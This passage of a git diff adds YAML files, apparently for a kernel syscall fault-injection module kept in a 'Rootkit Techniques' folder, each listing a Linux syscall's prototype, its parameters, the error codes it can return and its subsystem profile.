+profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/ioperm.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/ioperm.yml new file mode 100644 index 0000000..db47021 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/ioperm.yml @@ -0,0 +1,10 @@ +proto: unsigned long from, unsigned long num, int turn_on +parms: from, num, turn_on +errors: + - EIO + - EINVAL + - EPERM + - ENOMEM +profiles: + - io + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/kill.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/kill.yml new file mode 100644 index 0000000..14c445d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/kill.yml @@ -0,0 +1,8 @@ +proto: pid_t pid, int sig +parms: pid, sig +errors: + - EINVAL + - EPERM + - ESRCH +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/lchown.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/lchown.yml new file mode 100644 index 0000000..e03f006 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/lchown.yml @@ -0,0 +1,14 @@ +proto: const char __user *filename, uid_t user, gid_t group +parms: filename, user, group +errors: + - EACCES + - EFAULT + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOTDIR + - EPERM + - EROFS +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/link.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/link.yml new file mode 100644 index 0000000..14243c1 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/link.yml @@ -0,0 +1,20 @@ +proto: const char __user *oldname, const char __user *newname +parms: oldname, newname +errors: + - EACCES + - EDQUOT + - EFAULT + - EEXIST + - EIO + - ELOOP + - EMLINK + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOSPC + - ENOTDIR + - EPERM + - EROFS + - EXDEV +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/linkat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/linkat.yml new file mode 100644 index 0000000..533e7ea --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/linkat.yml @@ -0,0 +1,22 @@ +proto: int olddfd, const char __user *oldname, int newdfd, const char __user *newname, int flags +parms: olddfd, oldname, newdfd, newname, flags +errors: + - EACCES + - EDQUOT + - EFAULT + - EEXIST + - EIO + - ELOOP + - EMLINK + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOSPC + - ENOTDIR + - EPERM + - EROFS + - EXDEV + - EBADF + - EINVAL +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/listen.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/listen.yml new file mode 100644 index 0000000..b897b66 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/listen.yml @@ -0,0 +1,9 @@ +proto: int fd, int backlog +parms: fd, backlog +errors: + - EADDRINUSE + - EBADF + - ENOTSOCK + - EOPNOTSUPP +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/lstat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/lstat.yml new file mode 100644 index 0000000..cd12db6 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/lstat.yml @@ -0,0 +1,13 @@ +proto: const char __user *filename, struct __old_kernel_stat __user *statbuf +parms: filename, statbuf +errors: + - EACCES + - EFAULT + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOTDIR + - EOVERFLOW +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/madvise.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/madvise.yml new file mode 100644 index 0000000..033ec23 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/madvise.yml @@ -0,0 +1,12 @@ +proto: unsigned long start, size_t len_in, int behavior +parms: start, len_in, behavior +errors: + - EACCES + - EAGAIN + - EBADF + - EINVAL + - EIO + - ENOMEM + - EPERM +profiles: + - mm diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mincore.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mincore.yml new file mode 100644 index 0000000..c30fe09 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mincore.yml @@ -0,0 +1,9 @@ +proto: unsigned long start, size_t len, unsigned char __user *vec +parms: start, len, vec +errors: + - EAGAIN + - EFAULT + - EINVAL + - ENOMEM +profiles: + - mm diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mkdir.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mkdir.yml new file mode 100644 index 0000000..aac0e5c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mkdir.yml @@ -0,0 +1,19 @@ +proto: const char __user *pathname, umode_t mode +parms: pathname, mode +errors: + - EACCES + - EFAULT + - EDQUOT + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOTDIR + - EBADF + - EEXIST + - EMLINK + - ENOSPC + - EPERM + - EROFS +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mknod.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mknod.yml new file mode 100644 index 0000000..32efd40 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mknod.yml @@ -0,0 +1,18 @@ +proto: const char __user *filename, umode_t mode, unsigned dev +parms: filename, mode, dev +errors: + - EACCES + - EDQUOT + - EEXIST + - EFAULT + - EINVAL + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOSPC + - ENOTDIR + - EPERM + - EROFS +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mknodat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mknodat.yml new file mode 100644 index 0000000..e535f20 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mknodat.yml @@ -0,0 +1,19 @@ +proto: int dfd, const char __user *filename, umode_t mode, unsigned dev +parms: dfd, filename, mode, dev +errors: + - EACCES + - EDQUOT + - EEXIST + - EFAULT + - EINVAL + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOSPC + - ENOTDIR + - EPERM + - EROFS + - EBADF +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mlock.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mlock.yml new file mode 100644 index 0000000..bc5e786 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mlock.yml @@ -0,0 +1,9 @@ +proto: unsigned long start, size_t len +parms: start, len +errors: + - ENOMEM + - EPERM + - EAGAIN + - EINVAL +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mlock2.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mlock2.yml new file mode 100644 index 0000000..069f365 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mlock2.yml @@ -0,0 +1,9 @@ +proto: unsigned long start, size_t len, int flags +parms: start, len, flags +errors: + - ENOMEM + - EPERM + - EAGAIN + - EINVAL +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mlockall.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mlockall.yml new file mode 100644 index 0000000..ba4339d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mlockall.yml @@ -0,0 +1,8 @@ +proto: int flags +parms: flags +errors: + - ENOMEM + - EPERM + - EINVAL +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mmap_pgoff.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mmap_pgoff.yml new file mode 100644 index 0000000..f7c3a68 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mmap_pgoff.yml @@ -0,0 +1,18 @@ +# slight annoyance: the actual syscall is sys_mmap_pgoff, +# but the __NR constant is __NR_mmap +nr: mmap +proto: unsigned long addr, unsigned long len, unsigned long prot, unsigned long flags, unsigned long fd, unsigned long off +parms: addr, len, prot, flags, fd, off +errors: + - EACCES + - EAGAIN + - EBADF + - EINVAL + - ENFILE + - ENODEV + - ENOMEM + - EOVERFLOW + - EPERM + - ETXTBSY +profiles: + - mm diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mount.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mount.yml new file mode 100644 index 0000000..91b910d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mount.yml @@ -0,0 +1,19 @@ +proto: char __user *dev_name, char __user *dir_name, char __user *type, unsigned long flags, void __user *data +parms: dev_name, dir_name, type, flags, data +errors: + - EACCES + - EBUSY + - EFAULT + - EINVAL + - ELOOP + - EMFILE + - ENAMETOOLONG + - ENODEV + - ENOENT + - ENOMEM + - ENOTBLK + - ENOTDIR + - ENXIO + - EPERM +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mprotect.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mprotect.yml new file mode 100644 index 0000000..8460010 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mprotect.yml @@ -0,0 +1,8 @@ +proto: unsigned long start, size_t len, unsigned long prot +parms: start, len, prot +errors: + - EACCES + - EINVAL + - ENOMEM +profiles: + - mm diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_getsetattr.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_getsetattr.yml new file mode 100644 index 0000000..75a560b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_getsetattr.yml @@ -0,0 +1,7 @@ +proto: mqd_t mqdes, const struct mq_attr __user *u_mqstat, struct mq_attr __user *u_omqstat +parms: mqdes, u_mqstat, u_omqstat +errors: + - EBADF + - EINVAL +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_notify.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_notify.yml new file mode 100644 index 0000000..908197f --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_notify.yml @@ -0,0 +1,9 @@ +proto: mqd_t mqdes, const struct sigevent __user *u_notification +parms: mqdes, u_notification +errors: + - EBADF + - EBUSY + - EINVAL + - ENOMEM +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_open.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_open.yml new file mode 100644 index 0000000..c169588 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_open.yml @@ -0,0 +1,14 @@ +proto: const char __user *u_name, int oflag, umode_t mode, struct mq_attr __user *u_attr +parms: u_name, oflag, mode, u_attr +errors: + - EACCES + - EEXIST + - EINVAL + - EMFILE + - ENAMETOOLONG + - ENFILE + - ENOENT + - ENOMEM + - ENOSPC +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_timedreceive.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_timedreceive.yml new file mode 100644 index 0000000..adac97d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_timedreceive.yml @@ -0,0 +1,11 @@ +proto: mqd_t mqdes, char __user *u_msg_ptr, size_t msg_len, unsigned int __user *u_msg_prio, const struct timespec __user *u_abs_timeout +parms: mqdes, u_msg_ptr, msg_len, u_msg_prio, u_abs_timeout +errors: + - EAGAIN + - EBADF + - EINTR + - EINVAL + - EMSGSIZE + - ETIMEDOUT +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_timedsend.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_timedsend.yml new file mode 100644 index 0000000..9bc9b85 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_timedsend.yml @@ -0,0 +1,11 @@ +proto: mqd_t mqdes, const char __user *u_msg_ptr, size_t msg_len, unsigned int msg_prio, const struct timespec __user *u_abs_timeout +parms: mqdes, u_msg_ptr, msg_len, msg_prio, u_abs_timeout +errors: + - EAGAIN + - EBADF + - EINTR + - EINVAL + - EMSGSIZE + - ETIMEDOUT +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_unlink.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_unlink.yml new file mode 100644 index 0000000..bc8e1cd --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mq_unlink.yml @@ -0,0 +1,8 @@ +proto: const char __user *u_name +parms: u_name +errors: + - EACCES + - ENAMETOOLONG + - ENOENT +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mremap.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mremap.yml new file mode 100644 index 0000000..d72b397 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/mremap.yml @@ -0,0 +1,9 @@ +proto: unsigned long addr, unsigned long old_len, unsigned long new_len, unsigned long flags, unsigned long new_addr +parms: addr, old_len, new_len, flags, new_addr +errors: + - EAGAIN + - EFAULT + - EINVAL + - ENOMEM +profiles: + - mm diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/msgctl.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/msgctl.yml new file mode 100644 index 0000000..3d0b0cd --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/msgctl.yml @@ -0,0 +1,10 @@ +proto: int msqid, int cmd, struct msqid_ds __user *buf +parms: msqid, cmd, buf +errors: + - EACCES + - EFAULT + - EIDRM + - EINVAL + - EPERM +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/msgget.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/msgget.yml new file mode 100644 index 0000000..817e489 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/msgget.yml @@ -0,0 +1,10 @@ +proto: key_t key, int msgflg +parms: key, msgflg +errors: + - EACCES + - EEXIST + - ENOENT + - ENOMEM + - ENOSPC +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/msgrcv.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/msgrcv.yml new file mode 100644 index 0000000..7c78d0e --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/msgrcv.yml @@ -0,0 +1,13 @@ +proto: int msqid, struct msgbuf __user *msgp, size_t msgsz, long msgtyp, int msgflg +parms: msqid, msgp, msgsz, msgtyp, msgflg +errors: + - E2BIG + - EACCES + - EFAULT + - EIDRM + - EINTR + - EINVAL + - ENOMSG + - ENOSYS +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/msgsnd.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/msgsnd.yml new file mode 100644 index 0000000..4d4f34d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/msgsnd.yml @@ -0,0 +1,12 @@ +proto: int msqid, struct msgbuf __user *msgp, size_t msgsz, int msgflg +parms: msqid, msgp, msgsz, msgflg +errors: + - EACCES + - EAGAIN + - EFAULT + - EIDRM + - EINTR + - EINVAL + - ENOMEM +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/msync.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/msync.yml new file mode 100644 index 0000000..4101d18 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/msync.yml @@ -0,0 +1,8 @@ +proto: unsigned long start, size_t len, int flags +parms: start, len, flags +errors: + - EBUSY + - EINVAL + - ENOMEM +profiles: + - mm diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/munlock.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/munlock.yml new file mode 100644 index 0000000..bc5e786 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/munlock.yml @@ -0,0 +1,9 @@ +proto: unsigned long start, size_t len +parms: start, len +errors: + - ENOMEM + - EPERM + - EAGAIN + - EINVAL +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/munlockall.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/munlockall.yml new file mode 100644 index 0000000..07c584f --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/munlockall.yml @@ -0,0 +1,6 @@ +proto: void +errors: + - ENOMEM + - EPERM +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/munmap.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/munmap.yml new file mode 100644 index 0000000..0a9f3bc --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/munmap.yml @@ -0,0 +1,6 @@ +proto: unsigned long addr, size_t len +parms: addr, len +errors: + - EINVAL +profiles: + - mm diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/newfstatat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/newfstatat.yml new file mode 100644 index 0000000..a1664d9 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/newfstatat.yml @@ -0,0 +1,11 @@ +proto: int dfd, const char __user *filename, struct stat __user *statbuf, int flag +parms: dfd, filename, statbuf, flag +errors: + - EBADF + - EFAULT + - ENOMEM + - EOVERFLOW + - EINVAL + - ENOTDIR +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/open.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/open.yml new file mode 100644 index 0000000..1498d10 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/open.yml @@ -0,0 +1,35 @@ +proto: const char __user *filename, int flags, umode_t mode +parms: filename, flags, mode +errors: + - EACCES + - EFAULT + - EEXIST + - EBADF +unlikely_errors: + - EACCES + - EDQUOT + # - EEXIST + - EFAULT + - EFBIG + - EINTR + - EINVAL + # - EISDIR + - ELOOP + - EMFILE + - ENAMETOOLONG + - ENFILE + # - ENODEV + # - ENOENT + - ENOMEM + - ENOSPC + - ENOTDIR + # - ENXIO + - EOVERFLOW + - EPERM + - EROFS + - ETXTBSY + # - EWOULDBLOCK + - EBADF +profiles: + - fs + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/openat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/openat.yml new file mode 100644 index 0000000..3b6c326 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/openat.yml @@ -0,0 +1,35 @@ +proto: int dfd, const char __user *filename, int flags, umode_t mode +parms: dfd, filename, flags, mode +errors: + - EACCES + - EFAULT + - EEXIST + - EBADF +unlikely_errors: + - EACCES + - EDQUOT + # - EEXIST + - EFAULT + - EFBIG + - EINTR + - EINVAL + # - EISDIR + - ELOOP + - EMFILE + - ENAMETOOLONG + - ENFILE + # - ENODEV + # - ENOENT + - ENOMEM + - ENOSPC + - ENOTDIR + # - ENXIO + - EOVERFLOW + - EPERM + - EROFS + - ETXTBSY + # - EWOULDBLOCK + - EBADF +profiles: + - fs + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/pipe.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/pipe.yml new file mode 100644 index 0000000..21e6c4a --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/pipe.yml @@ -0,0 +1,8 @@ +proto: int __user *fildes +parms: fildes +errors: + - EFAULT + - EMFILE + - ENFILE +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/pivot_root.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/pivot_root.yml new file mode 100644 index 0000000..fb304f0 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/pivot_root.yml @@ -0,0 +1,10 @@ +proto: const char __user *new_root, const char __user *put_old +parms: new_root, put_old +errors: + - EBUSY + - EINVAL + - ENOTDIR + - EPERM +profiles: + - fs + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/prctl.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/prctl.yml new file mode 100644 index 0000000..c1deb54 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/prctl.yml @@ -0,0 +1,16 @@ +proto: int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5 +parms: option, arg2, arg3, arg4, arg5 +errors: + # - EACCESS + - EBADF + - EBUSY + - EFAULT + - EINVAL + # - EOPTNOTSUP + - EPERM +profiles: + - fs + - io + - mm + - proc + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/pread64.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/pread64.yml new file mode 100644 index 0000000..8a74015 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/pread64.yml @@ -0,0 +1,18 @@ +proto: unsigned int fd, char __user *buf, size_t count, loff_t pos +parms: fd, buf, count, pos +errors: + - EBADF + - EFAULT +unlikely_errors: + # - EAGAIN + # - EWOULDBLOCK + - EINTR + - EINVAL + - EIO + - EISDIR + - ENXIO + - EOVERFLOW + - ESPIPE +profiles: + - fs + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/preadv.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/preadv.yml new file mode 100644 index 0000000..68b10c9 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/preadv.yml @@ -0,0 +1,18 @@ +proto: unsigned long fd, const struct iovec __user *vec, unsigned long vlen, unsigned long pos_l, unsigned long pos_h +parms: fd, vec, vlen, pos_l, pos_h +errors: + - EBADF + - EFAULT +unlikely_errors: + # - EAGAIN + # - EWOULDBLOCK + - EINTR + - EINVAL + - EIO + - EISDIR + - ENXIO + - EOVERFLOW + - ESPIPE +profiles: + - fs + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/pwrite64.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/pwrite64.yml new file mode 100644 index 0000000..cc96e84 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/pwrite64.yml @@ -0,0 +1,18 @@ +proto: unsigned int fd, const char __user *buf, size_t count, loff_t pos +parms: fd, buf, count, pos +errors: + - EBADF + - EFAULT +unlikely_errors: + # - EAGAIN + # - EWOULDBLOCK + - EINTR + - EINVAL + - EIO + - EISDIR + - ENXIO + - EOVERFLOW + - ESPIPE +profiles: + - fs + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/pwritev.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/pwritev.yml new file mode 100644 index 0000000..68b10c9 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/pwritev.yml @@ -0,0 +1,18 @@ +proto: unsigned long fd, const struct iovec __user *vec, unsigned long vlen, unsigned long pos_l, unsigned long pos_h +parms: fd, vec, vlen, pos_l, pos_h +errors: + - EBADF + - EFAULT +unlikely_errors: + # - EAGAIN + # - EWOULDBLOCK + - EINTR + - EINVAL + - EIO + - EISDIR + - ENXIO + - EOVERFLOW + - ESPIPE +profiles: + - fs + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/read.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/read.yml new file mode 100644 index 0000000..ee0c1f2 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/read.yml @@ -0,0 +1,15 @@ +proto: unsigned int fd, char __user *buf, size_t count +parms: fd, buf, count +errors: + - EBADF + - EFAULT +unlikely_errors: + # - EAGAIN + # - EWOULDBLOCK + - EINTR + - EINVAL + - EIO + - EISDIR +profiles: + - fs + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/readahead.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/readahead.yml new file mode 100644 index 0000000..a62361b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/readahead.yml @@ -0,0 +1,8 @@ +proto: int fd, loff_t offset, size_t count +parms: fd, offset, count +errors: + - EBADF + - EINVAL +profiles: + - fs + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/readlink.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/readlink.yml new file mode 100644 index 0000000..002a951 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/readlink.yml @@ -0,0 +1,14 @@ +proto: const char __user *path, char __user *buf, int bufsiz +parms: path, buf, bufsiz +errors: + - EACCES + - EFAULT + - EINVAL + - EIO + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOTDIR +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/readlinkat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/readlinkat.yml new file mode 100644 index 0000000..1b217ed --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/readlinkat.yml @@ -0,0 +1,15 @@ +proto: int dfd, const char __user *path, char __user *buf, int bufsiz +parms: dfd, path, buf, bufsiz +errors: + - EACCES + - EFAULT + - EINVAL + - EIO + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOTDIR + - EBADF +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/readv.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/readv.yml new file mode 100644 index 0000000..e1ed178 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/readv.yml @@ -0,0 +1,18 @@ +proto: unsigned long fd, const struct iovec __user *vec, unsigned long vlen +parms: fd, vec, vlen +errors: + - 